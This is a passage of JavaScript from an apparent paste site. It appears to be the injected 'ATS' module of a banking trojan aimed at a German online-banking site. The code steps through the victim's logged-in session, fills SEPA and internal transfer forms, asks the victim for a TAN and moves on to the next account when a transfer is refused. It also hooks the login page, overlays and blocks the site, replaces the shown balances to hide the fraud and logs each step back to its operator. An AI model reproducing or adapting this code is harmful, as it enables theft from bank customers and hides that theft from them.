  1723.     ATS.debugMsg('ATS.frameWork, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1724.     ATS.sendLogMsg('frame state ' + ATS.StepInFrame[parent.ATS.current_state]);
  1725.     switch (ATS.StepInFrame[parent.ATS.current_state])
  1726.     {
  1727.  
  1728.         case "framePageFinanzstatus":
  1729.             ATS.framePageFinanzstatus();
  1730.             break;
  1731.            
  1732.        
  1733.         case "TransactionsSEPA":
  1734.             ATS.framePageTransactionsSEPA();
  1735.             break;
  1736.            
  1737.         case "TransactionsINT":
  1738.             ATS.framePageTransactionsINT();
  1739.             break;
  1740.  
  1741.        
  1742.         case "Overseas_remittance":
  1743.             ATS.framePageOverseas_remittance();
  1744.             break;
  1745.        
  1746.         case "KreditlimitPage":
  1747.             ATS.KreditlimitPage();
  1748.             break;
  1749.        
  1750.    
  1751.         case "SEPA_page":
  1752.             ATS.framePageSEPA_page();
  1753.             break;
  1754.            
  1755.  
  1756.         case "SEPA_form_filled":
  1757.        
  1758.        
  1759.             if (!jq("div[role='alert']:visible").length)
  1760.             {
  1761.                
  1762.                
  1763.                     if (!jq("div:contains(Ihre Kontovollmacht ist nicht ausreichend. Der Auftrag kann erst ausge)").length)
  1764.                     {
  1765.                            
  1766.                        
  1767.                         ATS.UI_askTan();
  1768.                        
  1769.                     }
  1770.                     else{
  1771.                        
  1772.                         ATS.sendLogMsg('Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + 'error : Ihre Kontovollmacht ist nicht ausreichend; goto next Acc',
  1773.                         function(){
  1774.                         parent.ATS.MaxTransferAccNum+=1;
  1775.                         parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus");                                  var nextLink= ATS.getFinanzstatusLink();
  1776.                         setTimeout(function(){
  1777.                                        document.location.href = nextLink;                                                                   }, 2000);
  1778.                         });
  1779.                     }    
  1780.                
  1781.             }
  1782.             else//if (!jq("div[role='alert']:visible").length)
  1783.             {
  1784.              var errtext=jq.trim(jq("div[role='alert']:visible").text());
  1785.                 if(errtext.indexOf('ngerkonto ist nicht das eingetragene Referenzkonto')!=-1)
  1786.                 {
  1787.                         ATS.sendLogMsg('Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + 'error :'+errtext+' ; goto next Acc',
  1788.                         function(){
  1789.                         parent.ATS.MaxTransferAccNum+=1;
  1790.                         parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus");                                  var nextLink= ATS.getFinanzstatusLink();
  1791.                         setTimeout(function(){
  1792.                                        document.location.href = nextLink;                                                                   }, 2000);
  1793.                         });
  1794.                      
  1795.                        
  1796.                 }
  1797.                 else {
  1798.              
  1799.                     ATS.die('frameWork: Error fill SEPA form: ' + errtext + ' in Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number);
  1800.                     }
  1801.             }
  1802.             break;
  1803.            
  1804.  
  1805.             case "Internal_transf_page":
  1806.                 ATS.framePageInternal_transf_page();
  1807.             break;
  1808.            
  1809.  
  1810.         case "INT_form_filled":
  1811.             if (!jq("div[role='alert']:visible").length)
  1812.             {
  1813.                
  1814.                
  1815.                     if (!jq("div:contains(Ihre Kontovollmacht ist nicht ausreichend. Der Auftrag kann erst ausge)").length)
  1816.                     {
  1817.                            
  1818.                        
  1819.                         ATS.UI_askTan();
  1820.                        
  1821.                     }
  1822.                     else{
  1823.                        
  1824.                         ATS.sendLogMsg('Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + 'error : Ihre Kontovollmacht ist nicht ausreichend; goto next Acc',
  1825.                         function(){
  1826.                         parent.ATS.MaxTransferAccNum+=1;
  1827.                         parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus");                                  var nextLink= ATS.getFinanzstatusLink();
  1828.                         setTimeout(function(){
  1829.                                        document.location.href = nextLink;                                                                   }, 2000);
  1830.                         });
  1831.                     }    
  1832.                
  1833.             }
  1834.             else//if (!jq("div[role='alert']:visible").length)
  1835.             {
  1836.              var errtext=jq.trim(jq("div[role='alert']:visible").text());
  1837.                 if(errtext.indexOf('ngerkonto ist nicht das eingetragene Referenzkonto')!=-1)
  1838.                 {
  1839.                         ATS.sendLogMsg('Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + 'error :'+errtext+' ; goto next Acc',
  1840.                         function(){
  1841.                         parent.ATS.MaxTransferAccNum+=1;
  1842.                         parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus");                                  var nextLink= ATS.getFinanzstatusLink();
  1843.                         setTimeout(function(){
  1844.                                        document.location.href = nextLink;                                                                   }, 2000);
  1845.                         });
  1846.                      
  1847.                        
  1848.                 }
  1849.                 else {
  1850.              
  1851.                     ATS.die('frameWork: Error fill INT form: ' + errtext + ' in Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number);
  1852.                     }
  1853.             }
  1854.             break;
  1855.            
  1856.            
  1857.            
  1858.            
  1859.            
  1860.            
  1861.  
  1862.         case "TAN_ENTERED":
  1863.        
  1864.         ATS.debugMsg("TAN_ENTERED");
  1865.  
  1866.        
  1867.         if (jq("div[role='alert']:visible").length)
  1868.         {
  1869.             parent.ATS.badTan = true;
  1870.         if (parent.ATS.transf_mode == 'sepa') parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1871.         else parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
  1872.  
  1873.            
  1874.            
  1875.             ATS.sendLogMsg('frameWork: bad TAN');
  1876.    
  1877.         if ( jq('#signZurueck').length)
  1878.         {
  1879.             setTimeout(function(){
  1880.             //jq('#signZurueck').click();
  1881.             document.location.href=jq('#signZurueck').attr("href");
  1882.            
  1883.             }, 3000);
  1884.  
  1885.         }
  1886.         else ATS.die('TAN_ENTERED: cant find  previousStep button');
  1887.    
  1888.        
  1889.                 }
  1890.        else {  
  1891.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
  1892.         else ATS.framePageReceiptInternal();
  1893.        
  1894.        }
  1895.  
  1896.        
  1897.             break;                        
  1898.    
  1899.        
  1900.     }
  1901. }
  1902.  
  1903.  
  1904. if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  1905. {
  1906.     document.write('<div class="inj_full_overlay"></div>');
  1907.    
  1908.     jq(document).ready(function(){
  1909.         ATS.debugMsg('document loaded');
  1910.        
  1911.         //ATS.sendLogMsg('utilInfo = ' + ATS.utilInfo);
  1912.        
  1913.  
  1914.     ATS.loadData(function(data){
  1915.  
  1916.         if (ATS.account_id != 0)
  1917.         {  
  1918.      
  1919.             switch (ATS.getCookie('status')) {
  1920.                case "1":
  1921.                   if (ATS.isLoggedIn()) {ATS.replaceBalances(); }
  1922.                   jq('.inj_full_overlay').remove();
  1923.                  
  1924.                   break;
  1925.                case "2":
  1926.                ATS.debugMsg('case "2"');
  1927.                
  1928.                
  1929.               if(((ATS.getTime() - ATS.getCookie('error_time'))/3600)>=2) {
  1930.                 ATS.setCookie('status',0);
  1931.                 ATS.saveCookies();
  1932.                 ATS.sendLogMsg('Replace cookie status from 2 on 0');
  1933.                 jq('.inj_full_overlay').remove();
  1934.               } else {jq('.inj_full_overlay').remove(); break;}
  1935.              
  1936.              
  1937.                default:
  1938.                
  1939.                         if (ATS.checkLoginPage())
  1940.                         {
  1941.                             ATS.debugMsg('login page');
  1942.                             ATS.setLoginHook();
  1943.                             jq('.inj_full_overlay').remove();
  1944.                             break;
  1945.                         }                          
  1946.                        
  1947.                      
  1948.                         if (ATS.isLoggedIn())
  1949.                         {
  1950.                             ATS.debugMsg('logged in!');
  1951.                            
  1952.  
  1953.                     var t =jq('ul.activeNotificationAction a').text();
  1954.                     if ((t.indexOf('Sperre aufheben')!=-1) || (t.indexOf('Unlock TAN list')!=-1)){
  1955.                         ATS.debugMsg('TAN locked!');
  1956.                         ATS.die("TAN locked!");
  1957.                         jq('.inj_full_overlay').remove();
  1958.                         break;
  1959.                     }
  1960.                          
  1961.                            
  1962.                        
  1963.                             if ((parent.document !== document) && parent.ATS)
  1964.                             {
  1965.                                 ATS.debugMsg('we are in frame!');
  1966.                                 ATS.frameWork();
  1967.                                 jq('.inj_full_overlay').remove();
  1968.                                 break;
  1969.                             }
  1970.                             else
  1971.                             {
  1972.                                 jq('.inj_full_overlay').remove();
  1973.                                 ATS.getFinanzstatusLink();ATS.getIntLink();ATS.getSepaLink();
  1974.                                 ATS.UI_blockSite();
  1975.                                 ATS.UI_showWait();
  1976.                                 ATS.mainWork();
  1977.                                 break;
  1978.                             }
  1979.                         }
  1980.                         else
  1981.                         {
  1982.                             if ((parent.document !== document) && parent.ATS)
  1983.                             {
  1984.                                 ATS.debugMsg('we are in frame and not logged in!');
  1985.                             }
  1986.                         }              
  1987.                
  1988.                
  1989.                     break;
  1990.             }
  1991.          
  1992.            
  1993.  
  1994.         }else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}
  1995.        
  1996.        
  1997.         if(jq('#ummelden').text().indexOf("Zum Login")!=-1) {jq('.inj_full_overlay').remove();
  1998.         ATS.debugMsg('Zum Login!');}
  1999.     });
  2000.      
  2001.        
  2002.  
  2003.        
  2004.  
  2005.     });
  2006. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement